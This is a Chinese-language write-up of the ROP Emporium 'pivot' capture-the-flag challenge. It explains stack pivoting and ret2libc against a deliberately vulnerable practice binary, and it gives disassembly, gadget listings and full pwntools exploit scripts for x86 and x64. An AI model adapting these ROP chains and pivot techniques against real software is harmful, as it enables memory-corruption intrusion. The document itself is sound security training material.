pivot(栈迁移) 题目链接:https://ropemporium.com/challenge/pivot.html
x86 根据题目提示,我们需要进行栈迁移,因为留给我们的溢出长度太短了,不足以存放一个完整的ROP链。同时,题目还提示我们,程序中导入了链接库libpivot32.so
中的foodhold_function
函数,并且ret2win
函数也被包含在链接库中。根据前几个挑战的经验和题目的提示,我们可以猜到,需要用到ret2libc技术,调用链接库中的ret2win
函数,拿到flag。
Note: 有关栈迁移技术和ret2libc技术的介绍请查看PWN入门中的相关讲解,此处默认已经了解这两种技术。
首先,照例看下程序的保护情况:
1 2 3 4 5 6 7 8 $ checksec ./pivot32 [*]'/home/giantbranch/Desktop/rop_emporium_all_challenges/level7_pivot/32/pivot32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RUNPATH: '.'
然后我们查看下程序中的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 $ r2 -A ./pivot32 ··· [0x08048570]> afl 0x08048570 1 50 entry0 0x080485a3 1 4 fcn.080485a3 0x08048530 1 6 sym.imp.__libc_start_main 0x08048488 3 35 sym._init 0x080485c0 1 4 sym.__x86.get_pc_thunk.bx 0x08048560 1 6 sym..plt.got 0x080488a4 1 20 sym._fini 0x080485d0 4 41 sym.deregister_tm_clones 0x08048610 4 54 sym.register_tm_clones 0x08048650 3 31 sym.__do_global_dtors_aux 0x08048680 1 6 sym.frame_dummy 0x08048750 1 199 sym.pwnme 0x08048550 1 6 sym.imp.memset 0x08048500 1 6 sym.imp.puts 0x080484d0 1 6 sym.imp.printf 0x080484c0 1 6 sym.imp.read 0x08048817 1 21 sym.uselessFunction 0x08048520 1 6 sym.imp.foothold_function 0x08048510 1 6 sym.imp.exit 0x080488a0 1 2 sym.__libc_csu_fini 0x08048840 4 93 sym.__libc_csu_init 0x080485b0 1 2 sym._dl_relocate_static_pie 0x08048686 3 202 main 0x08048540 1 6 sym.imp.setvbuf 0x080484f0 1 6 sym.imp.malloc 0x080484e0 1 6 sym.imp.free [0x08048570]> ii [Imports] nth vaddr bind type lib name ――――――――――――――――――――――――――――――――――――― 1 0x080484c0 GLOBAL FUNC read 2 0x080484d0 GLOBAL FUNC printf 3 0x080484e0 GLOBAL FUNC free 4 0x080484f0 GLOBAL FUNC malloc 5 0x08048500 GLOBAL FUNC puts 6 0x00000560 WEAK NOTYPE __gmon_start__ 7 0x08048510 GLOBAL FUNC exit 8 0x08048520 GLOBAL FUNC foothold_function 9 0x08048530 GLOBAL FUNC __libc_start_main 10 0x08048540 GLOBAL FUNC setvbuf 11 0x08048550 GLOBAL FUNC memset
我们可以看到程序除了自身的pwnme
usefulFunction
外,还导入了链接库中的foothold_function
,我们很容易想到,可能要在程序中调用foothold_function
函数,通过它来泄露出libc的地址。
我们依次来看下这几个函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [0x08048570 ]> s sym.pwnme [0x08048750 ]> pdg void sym.pwnme(uint arg_8h){ uint s; sym.imp.memset (&s, 0 , 0x20 ); sym.imp.puts ("Call ret2win() from libpivot" ); sym.imp.printf ("The Old Gods kindly bestow upon you a place to pivot: %p\n" , arg_8h); sym.imp.puts ("Send a ROP chain now and it will land there" ); sym.imp.printf (0x8048994 ); sym.imp.read(0 , arg_8h, 0x100 ); sym.imp.puts ("Thank you!\n" ); sym.imp.puts ("Now please send your stack smash" ); sym.imp.printf (0x8048994 ); sym.imp.read(0 , &s, 0x38 ); sym.imp.puts ("Thank you!" ); return ; }
pwnme
函数也告诉了我们调用链接库中的ret2win
函数来拿flag,并且,为了降低难度,还给出了我们一块地址(下边称为新栈 ),让我们进行栈迁移操作。根据提示信息,第一次发送的内容会被存储在新栈中,第二次发送的内容用来触发栈溢出。
注:从第二个read
函数的参数中我们可以看到,它接收 0x38=56byte 长的输入,我们计算得到的偏移量为 44 ,所以,真正我们能操作的溢出长度为 56 - 44 = 12byte。这个长度是肯定不够存放完整的ROP链的,从这里我们也可以看到需要用到栈迁移技术。
接下来我们看下usefulFunction
函数:
1 2 3 4 5 6 7 8 9 10 11 12 [0x08048750 ]> s sym.uselessFunction [0x08048817 ]> pdg void sym.uselessFunction noreturn (void ) { sym.imp.foothold_function(); sym.imp.exit (1 ); }
可以看到usefulFunction
函数只是调用了foothold_function
函数,这也是一个提示,提示我们通过这个函数来泄露地址。
我们就加载分析链接库,看下foothold_function
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ r2 -A ./libpivot32.so [0x00000680]> s sym.foothold_function [0x0000077d]> pdg // WARNING: Variable defined which should be unmapped: var_4h void sym.foothold_function(void) { int32_t iVar1; uint var_4h; iVar1 = sym.__x86.get_pc_thunk.ax(); sym.imp.puts(iVar1 + 0x2a7); return; }
这里用IDA看的比较明显,函数的作用就是输出一串字符串,也是一些提示信息。
1 2 3 4 int foothold_function () { return puts ("foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot" ); }
现在我们结合着函数内容,来整理一下思路:
程序需要两个输入,在第二个输入处存在栈溢出(溢出长度较短),并且会将第一个输入处输入的内容存储到新栈上。
我们可以利用第二个输入来进行栈迁移,在第一个输入处,输入完整的ROP链。
接下来,就是找相关的gadgets了,反汇编后可以看到程序中仍然存在usefulGadgets
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ objdump -dj .text -M intel ./pivot32 ··· 0804882c <usefulGadgets>: 804882c: 58 pop eax 804882d: c3 ret 804882e: 94 xchg esp,eax 804882f: c3 ret 8048830: 8b 00 mov eax,DWORD PTR [eax] 8048832: c3 ret 8048833: 01 d8 add eax,ebx 8048835: c3 ret 8048836: 66 90 xchg ax,ax 8048838: 66 90 xchg ax,ax 804883a: 66 90 xchg ax,ax 804883c: 66 90 xchg ax,ax 804883e: 66 90 xchg ax,ax
xchg
指令在上一个题中我们了解到,它的作用是交换两个操作数的值,并且也存在pop eax;ret
,我们就可以利用这两个gadget来修改esp寄存器做栈迁移。但我比较喜欢使用leave;ret
,而且程序中刚好有,这里我就使用leave
来做栈迁移。
1 2 3 4 5 6 7 8 $ ROPgadget --binary ./pivot32 --only "leave|ret" Gadgets information ============================================================ 0x080485f5 : leave ; ret 0x08048492 : ret 0x0804861e : ret 0xeac1 Unique gadgets found: 3
mov eax,DWORD PTR [eax];ret
,add eax,ebx;ret
,这两个gadget乍一看并不是很清楚他们是干嘛的,结合这道题仔细分析一下ret2libc的过程就懂了。
通常我们是需要一个输出函数,比如write\puts
等来打印出我们调用过的链接库中函数(具体到这里就是foothold_function
)在got
表中的真实地址。然后计算出libc库加载后的基地址。但是这样的话,如果我们就需要构造二次溢出,而且这里二次溢出的情况比较复杂(涉及到栈迁移,而且程序每次调用pwnme
分配的新栈是不固定的(我测了几次,应该是不固定的)),如果我们使用二次溢出的话就会比较麻烦。
这里我们就换一种思路,其实,只要调用过链接库中的函数(foothold_function
)之后,它的got
表内存储的就已经是绑定后的真实地址了,我们之前将它打印出来只是为了方便我们通过程序来做计算。这里我们通过程序来计算反而会变的复杂,我们就通过gadget来操作。
思考一下,我们通过ELF.got['foothold_function']
获取的只是got
表表项的地址,在这个地址内存储的值才是真正我们想要的foothold_function
的真实地址。这里,我们就明白了mov eax,DWORD PTR [eax];ret
这个gadget的作用,我们将got
表表项的地址通过pop eax
传入eax
,然后通过move
获取表项内存储的foot
函数的真实地址存入eax
。此时我们也就明白了add eax,ebx
这个gadget的作用,我们将foothold_function
与ret2win
这两个函数之间的偏移量存入ebx
,通过add
我们就能得到ret2win
函数的真实地址(存放在eax
)。接着我们就能调用ret2win
函数拿到flag。
按照这个思路,我们还需要操作ebx
和调用ret2win
的gadgets。
1 2 3 4 5 6 7 8 9 10 11 12 13 $ ROPgadget --binary ./pivot32 --only "pop|ret" Gadgets information ============================================================ 0x0804882c : pop eax ; ret 0x0804889b : pop ebp ; ret 0x08048898 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080484a9 : pop ebx ; ret 0x0804889a : pop edi ; pop ebp ; ret 0x08048899 : pop esi ; pop edi ; pop ebp ; ret 0x08048492 : ret 0x0804861e : ret 0xeac1 Unique gadgets found: 8
0x080484a9
地址处的pop ebx ; ret
1 2 3 4 5 6 7 8 9 10 11 $ ROPgadget --binary ./pivot32 --only "call|ret" Gadgets information ============================================================ 0x0804857b : call 0x80485a9 0x0804848c : call 0x80485c6 0x080485f0 : call eax 0x0804863d : call edx 0x08048492 : ret 0x0804861e : ret 0xeac1 Unique gadgets found: 6
0x080485f0
地址处的 call eax
,或者jmp eax
也是可以的。
(PS:这里我当时犯病糊涂了,想着为什么不能直接在返回地址处直接填ret2win
函数的真实地址,而要再通过call
或者jmp
来调用,原因就是我们拿不到eax
中存储的值,如果能拿到,也就是向往常那样二次溢出的情况,是可以用的,只能说犯病很严重。)
我们所需要的东西都找齐了,可以构造我们的ROP链了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ROP1: padding #迁移后要 pop到ebp中的值 foothold.plt #调用foothold函数 pop_eax #将got表表项地址pop到eax foothold.got mov_eax_[eax] #获取foothold真实地址 pop_ebx #将offset pop到ebx offset #offset = ret2win - foothold add_eax_ebx #计算ret2win真实地址 call_eax #调用ret2win函数 ROP2: padding #offset - 4 把fake ebp的空间留出来 fake ebp #我们从程序输出中获取的新栈地址 leave;ret #栈迁移
完整的exploit代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *context.arch = 'i386' context.os = 'linux' p = process('./pivot32' ) e = ELF('./pivot32' ) lib =ELF('./libpivot32.so' ) foothold_function_plt = e.plt['foothold_function' ] foothold_function_got = e.got['foothold_function' ] foothold_function_offset = lib.symbols['foothold_function' ] ret2win_offset = lib.symbols['ret2win' ] offset = ret2win_offset-foothold_function_offset pop_eax_addr = 0x0804882c mov_eax_eaxs_addr = 0x08048830 call_eax = 0x080485f0 pop_ebx_addr = 0x080484a9 add_eax_ebx_addr = 0x08048833 leave_addr = 0x080485f5 p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: " ) fake_ebp = int (p.recv(10 ), 16 ) payload1 = p32(1 ) payload1+= p32(foothold_function_plt) payload1+= p32(pop_eax_addr) payload1+= p32(foothold_function_got) payload1+= p32(mov_eax_eaxs_addr) payload1+= p32(pop_ebx_addr) payload1+= p32(offset) payload1+= p32(add_eax_ebx_addr) payload1+= p32(call_eax) offset = 44 - 4 payload2 = offset*b'A' payload2+= p32(fake_ebp) payload2+= p32(leave_addr) p.sendline(payload1) p.sendline(payload2) p.interactive()
x64 64位情况与32位情况相同,需要注意一点:
1 2 3 4 ROP2: padding # 40 - 8 fake rbp leave
这里的 padding 长度为偏移量 - 8,64位环境下,rbp
存储占8字节
完整的exploit代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *context.arch = 'amd64' context.os = 'linux' p = process('./pivot' ) e = ELF('./pivot' ) lib = ELF('./libpivot.so' ) foothold_function_plt = e.plt['foothold_function' ] foothold_function_got = e.got['foothold_function' ] foothold_function_offset = lib.symbols['foothold_function' ] ret2win_offset = lib.symbols['ret2win' ] offset = ret2win_offset - foothold_function_offset pop_rax_addr = 0x4009bb xchg_rsp_rax_addr = 0x4009bd mov_rax_raxs_addr = 0x4009c0 add_rax_rbp_addr = 0x4009c4 pop_rbp_addr = 0x4007c8 leave_addr = 0x4008ef call_rax_addr = 0x00000000004006b0 jmp_rax_addr = 0x00000000004007c1 p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: " ) fake_ebp = int (p.recv(14 ), 16 ) payload1 = p64(1 ) payload1+= p64(foothold_function_plt) payload1+= p64(pop_rax_addr) payload1+= p64(foothold_function_got) payload1+= p64(mov_rax_raxs_addr) payload1+= p64(pop_rbp_addr) payload1+= p64(offset) payload1+= p64(add_rax_rbp_addr) payload1+= p64(call_rax_addr) offset = 40 - 8 payload2 = offset*b'A' payload2+= p64(fake_ebp) payload2+= p64(leave_addr) p.sendline(payload1) p.sendline(payload2) p.interactive()